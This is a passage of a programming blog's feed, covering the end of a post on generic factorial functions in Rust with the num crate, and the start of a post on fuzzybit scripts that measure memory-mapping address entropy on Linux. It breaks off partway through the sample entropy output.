  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;note&lt;&#x2F;span&gt;: the method `product` exists but the following trait bounds were not satisfied: `T : std::iter::Step`, `&amp;amp;&#x27;a T : std::ops::Add`, `std::ops::Range&amp;lt;T&amp;gt; : std::iter::Iterator`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;generic-attempt-3&quot;&gt;Generic attempt 3&lt;a class=&quot;zola-anchor&quot; href=&quot;#generic-attempt-3&quot; aria-label=&quot;Anchor link for: generic-attempt-3&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We can avoid the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;reference&#x2F;expressions&#x2F;range-expr.html&quot;&gt;&quot;&lt;code&gt;..&lt;&#x2F;code&gt;&quot; range syntax&lt;&#x2F;a&gt; by using and use &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;fn.range.html&quot;&gt;&lt;code&gt;num&lt;&#x2F;code&gt;&#x27;s range function&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;extern crate&lt;&#x2F;span&gt;&lt;span&gt; num;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;std::iter::Product;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;num::{PrimInt, Unsigned};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Find the factorial of n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;T&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;: T) -&amp;gt; T
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;where&lt;&#x2F;span&gt;&lt;span&gt; T: PrimInt + Unsigned
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    num::range(T::one(), n + T::one()).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;product&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;a href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;num&#x2F;0.4.0&#x2F;num&#x2F;trait.PrimInt.html&quot;&gt;&lt;code&gt;PrimInt&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt; still does not guarantee the existence of the &lt;a href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;iter&#x2F;trait.Product.html&quot;&gt;&lt;code&gt;Product&lt;&#x2F;code&gt; trait&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;error[E0277]&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;: the trait bound `T: std::iter::Product` is not satisfied&lt;&#x2F;span&gt;
  &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;--&amp;gt; &lt;&#x2F;span&gt;src&#x2F;main.rs:10:40
   &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
&lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;10&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;    num::range(T::one(), n + T::one()).product()
   &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;| &lt;&#x2F;span&gt;                                       &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;^^^^^^^&lt;&#x2F;span&gt; &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;the trait `std::iter::Product` is not implemented for `T`&lt;&#x2F;span&gt;
   &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;|&lt;&#x2F;span&gt;
   &lt;span style=&quot;font-weight: bold&quot;&gt;&lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold; color: #0000aa&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;font-weight: bold&quot;&gt;help&lt;&#x2F;span&gt;: consider adding a `where T: std::iter::Product` bound
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;final-result&quot;&gt;Final result&lt;a class=&quot;zola-anchor&quot; href=&quot;#final-result&quot; aria-label=&quot;Anchor link for: final-result&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;We can import &lt;code&gt;Product&lt;&#x2F;code&gt; add add it to the &lt;code&gt;where&lt;&#x2F;code&gt; clause.&lt;&#x2F;p&gt;
&lt;p&gt;Now we have a factorial function that works over arbitrary unsigned integer type!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;extern crate&lt;&#x2F;span&gt;&lt;span&gt; num;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;std::iter::Product;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;use &lt;&#x2F;span&gt;&lt;span&gt;num::{PrimInt, Unsigned};
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F;&#x2F; Find the factorial of n
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;T&amp;gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;n&lt;&#x2F;span&gt;&lt;span&gt;: T) -&amp;gt; T
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;where&lt;&#x2F;span&gt;&lt;span&gt; T: PrimInt + Unsigned + Product
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    num::range(T::one(), n + T::one()).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;product&lt;&#x2F;span&gt;&lt;span&gt;()
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;using-the-generic-function&quot;&gt;Using the generic function&lt;a class=&quot;zola-anchor&quot; href=&quot;#using-the-generic-function&quot; aria-label=&quot;Anchor link for: using-the-generic-function&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Now we can call our factorial function with different unsigned types.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;fn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;main&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;u8: 3! = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u8&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;u16: 3! = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u16&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;u32: 3! = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;    println!(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;u64: 3! = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;{}&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;factorial&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;3_&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;analyzing-generated-code&quot;&gt;Analyzing generated code&lt;a class=&quot;zola-anchor&quot; href=&quot;#analyzing-generated-code&quot; aria-label=&quot;Anchor link for: analyzing-generated-code&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Rust &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rust&#x2F;issues&#x2F;1736&quot;&gt;monomorphizes&lt;&#x2F;a&gt; generic functions, which means a new function is created for each type.
This means &lt;code&gt;rustc&lt;&#x2F;code&gt; can optimize each instantiated function independently.&lt;&#x2F;p&gt;
&lt;p&gt;Below we can see the symbols for the four factorial functions (for each type) and the main function.&lt;&#x2F;p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nm target&#x2F;release&#x2F;factorial-generic-analysis | grep factorial --color=always | sort
0000000000005e90 t _ZN26&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;_generic_analysis9&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;17h771813924a71f57dE
0000000000005ed0 t _ZN26&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;_generic_analysis9&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;17h9049e4d7daf7ac87E
0000000000005f80 t _ZN26&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;_generic_analysis9&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;17h92280da431f06ddaE
00000000000062b0 t _ZN26&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;_generic_analysis9&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;17had561ff9f2a266a5E
00000000000062f0 t _ZN26&lt;span style=&quot;font-weight: bold; color: #aa0000&quot;&gt;factorial&lt;&#x2F;span&gt;_generic_analysis4main17h5d9c70811fce980bE
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Below, we can see &lt;code&gt;factorial::&amp;lt;u16&amp;gt;()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ objdump -d target&#x2F;release&#x2F;factorial-generic-analysis
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;0000000000005e90 &amp;lt;_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE&amp;gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    5e90:       ff c7                   inc    %edi
&lt;&#x2F;span&gt;&lt;span&gt;    5e92:       66 b8 01 00             mov    $0x1,%ax
&lt;&#x2F;span&gt;&lt;span&gt;    5e96:       0f b7 cf                movzwl %di,%ecx
&lt;&#x2F;span&gt;&lt;span&gt;    5e99:       83 f9 02                cmp    $0x2,%ecx
&lt;&#x2F;span&gt;&lt;span&gt;    5e9c:       72 28                   jb     5ec6 &amp;lt;_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE+0x36&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    5e9e:       66 b9 02 00             mov    $0x2,%cx
&lt;&#x2F;span&gt;&lt;span&gt;    5ea2:       66 ba 01 00             mov    $0x1,%dx
&lt;&#x2F;span&gt;&lt;span&gt;    5ea6:       66 b8 01 00             mov    $0x1,%ax
&lt;&#x2F;span&gt;&lt;span&gt;    5eaa:       66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
&lt;&#x2F;span&gt;&lt;span&gt;    5eb0:       0f af c2                imul   %edx,%eax
&lt;&#x2F;span&gt;&lt;span&gt;    5eb3:       66 39 f9                cmp    %di,%cx
&lt;&#x2F;span&gt;&lt;span&gt;    5eb6:       89 ce                   mov    %ecx,%esi
&lt;&#x2F;span&gt;&lt;span&gt;    5eb8:       83 d6 00                adc    $0x0,%esi
&lt;&#x2F;span&gt;&lt;span&gt;    5ebb:       66 39 f9                cmp    %di,%cx
&lt;&#x2F;span&gt;&lt;span&gt;    5ebe:       66 89 ca                mov    %cx,%dx
&lt;&#x2F;span&gt;&lt;span&gt;    5ec1:       66 89 f1                mov    %si,%cx
&lt;&#x2F;span&gt;&lt;span&gt;    5ec4:       72 ea                   jb     5eb0 &amp;lt;_ZN26factorial_generic_analysis9factorial17h771813924a71f57dE+0x20&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    5ec6:       c3                      retq
&lt;&#x2F;span&gt;&lt;span&gt;    5ec7:       66 0f 1f 84 00 00 00    nopw   0x0(%rax,%rax,1)
&lt;&#x2F;span&gt;&lt;span&gt;    5ece:       00 00
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With the &lt;code&gt;num&lt;&#x2F;code&gt; crate, we can write stable, safe Rust code that is generic over various integer types.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Thanks to &lt;a href=&quot;https:&#x2F;&#x2F;www.gulshansingh.com&#x2F;&quot;&gt;Gulshan Singh&lt;&#x2F;a&gt; for reviewing this post.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;Comments&lt;&#x2F;strong&gt; on &lt;a href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;rust&#x2F;comments&#x2F;62x8on&#x2F;generic_numeric_functions_in_safe_stable_rust&#x2F;&quot;&gt;Reddit&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Fuzzybit</title>
        <published>2016-06-11T00:00:00+00:00</published>
        <updated>2016-06-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://travisf.net/blog/fuzzybit-vmmap/"/>
        <id>https://travisf.net/blog/fuzzybit-vmmap/</id>
        
        <content type="html" xml:base="https://travisf.net/blog/fuzzybit-vmmap/">&lt;p&gt;I previously released a Python module, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;fuzzybit&quot;&gt;fuzzybit&lt;&#x2F;a&gt;, that can be used to inspect the bit-level entropy of an observed history of values.&lt;&#x2F;p&gt;
&lt;p&gt;I am now open-sourcing some example code I wrote for examining the section load address entropy. The example code can be found in the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;tmfink&#x2F;fuzzybit&#x2F;tree&#x2F;master&#x2F;examples&#x2F;vmmap_entropy&quot;&gt;examples&#x2F;vmmap_entropy&lt;&#x2F;a&gt; directory of the fuzzybit source.&lt;&#x2F;p&gt;
&lt;p&gt;The example code has the following files:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;calc_vmmap_entropy.py&lt;&#x2F;code&gt;: Python script that runs a script a given number of iterations to examine entropy&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;entropy-test.gdb&lt;&#x2F;code&gt;: GDB commands that will cause a program to break, print section mappings, and exit (requires &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;longld&#x2F;peda&quot;&gt;PEDA&lt;&#x2F;a&gt;)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;get_vmmap_values.sh&lt;&#x2F;code&gt;: Runs given binary under GDB and prints memory mappings&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Running the bash script prints out memory mappings:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ .&#x2F;get_vmmap_values.sh &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;0x00400000         0x0041a000         r-xp  &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;0x00619000         0x0061a000         r--p  &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;0x0061a000         0x0061b000         rw-p  &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;0x0061b000         0x0061c000         rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x02074000         0x02095000         rw-p  [heap]
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e0065d000 0x00007f7e00661000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00661000 0x00007f7e00860000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00860000 0x00007f7e00861000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00861000 0x00007f7e00862000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libattr.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00862000 0x00007f7e00865000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00865000 0x00007f7e00a64000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00a64000 0x00007f7e00a65000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00a65000 0x00007f7e00a66000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libdl-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00a66000 0x00007f7e00aa3000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00aa3000 0x00007f7e00ca2000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00ca2000 0x00007f7e00ca3000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00ca3000 0x00007f7e00ca4000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libpcre.so.3.13.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00ca4000 0x00007f7e00e5e000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e00e5e000 0x00007f7e0105e000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e0105e000 0x00007f7e01062000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01062000 0x00007f7e01064000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01064000 0x00007f7e01069000 rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01069000 0x00007f7e01070000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01070000 0x00007f7e0126f000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e0126f000 0x00007f7e01270000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01270000 0x00007f7e01271000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libacl.so.1.1.0
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01271000 0x00007f7e01291000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01291000 0x00007f7e01490000 ---p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01490000 0x00007f7e01491000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01491000 0x00007f7e01492000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libselinux.so.1
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01492000 0x00007f7e01494000 rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e01494000 0x00007f7e014b7000 r-xp  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e0167e000 0x00007f7e01683000 rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e016b4000 0x00007f7e016b6000 rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e016b6000 0x00007f7e016b7000 r--p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e016b7000 0x00007f7e016b8000 rw-p  &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.19.so
&lt;&#x2F;span&gt;&lt;span&gt;0x00007f7e016b8000 0x00007f7e016b9000 rw-p  mapped
&lt;&#x2F;span&gt;&lt;span&gt;0x00007ffcf33ed000 0x00007ffcf340e000 rw-p  [stack]
&lt;&#x2F;span&gt;&lt;span&gt;0x00007ffcf3507000 0x00007ffcf3509000 r-xp  [vdso]
&lt;&#x2F;span&gt;&lt;span&gt;0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The Python script takes in the number of iterations and a command that prints the mappings in the format shown above.
The script prints the entropy of the start and end addresses. All of the bits of the addresses are shown (most significant bits first). The entropy (sum of unknown bits) is shown in the line underneath.
For each bit position, the values &lt;code&gt;0&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;1&lt;&#x2F;code&gt; are concrete (this bit was always observed to have this value) and &lt;code&gt;*&lt;&#x2F;code&gt; means that both &lt;code&gt;0&lt;&#x2F;code&gt; and &lt;code&gt;1&lt;&#x2F;code&gt; values have been observed.&lt;&#x2F;p&gt;
&lt;p&gt;Here&#x27;s an example of the entropy of &lt;code&gt;&#x2F;bin&#x2F;ls&lt;&#x2F;code&gt; on Ubuntu 14.04 amd64:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ .&#x2F;calc_vmmap_entropy.py -i 10 -b 64 .&#x2F;get_vmmap_values.sh &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;0000000000000000000000000000000000000000010000000000000000000000 -&amp;gt; 0000000000000000000000000000000000000000010000011010000000000000  r-xp &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 0, 0 bits
&lt;&#x2F;span&gt;&lt;span&gt;0000000000000000000000000000000000000000011000011001000000000000 -&amp;gt; 0000000000000000000000000000000000000000011000011010000000000000  r--p &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 0, 0 bits
&lt;&#x2F;span&gt;&lt;span&gt;0000000000000000000000000000000000000000011000011010000000000000 -&amp;gt; 0000000000000000000000000000000000000000011000011011000000000000  rw-p &#x2F;bin&#x2F;ls
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 0, 0 bits
&lt;&#x2F;span&gt;&lt;span&gt;0000000000000000000000000000000000000000011000011011000000000000 -&amp;gt; 0000000000000000000000000000000000000000011000011100000000000000  rw-p mapped
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 0, 0 bits
&lt;&#x2F;span&gt;&lt;span&gt;00000000000000000000000000000000000000**************000000000000 -&amp;gt; 00000000000000000000000000000000000000**************000000000000  rw-p [heap]
&lt;&#x2F;span&gt;&lt;span&gt;    entropy: 14, 14 bits
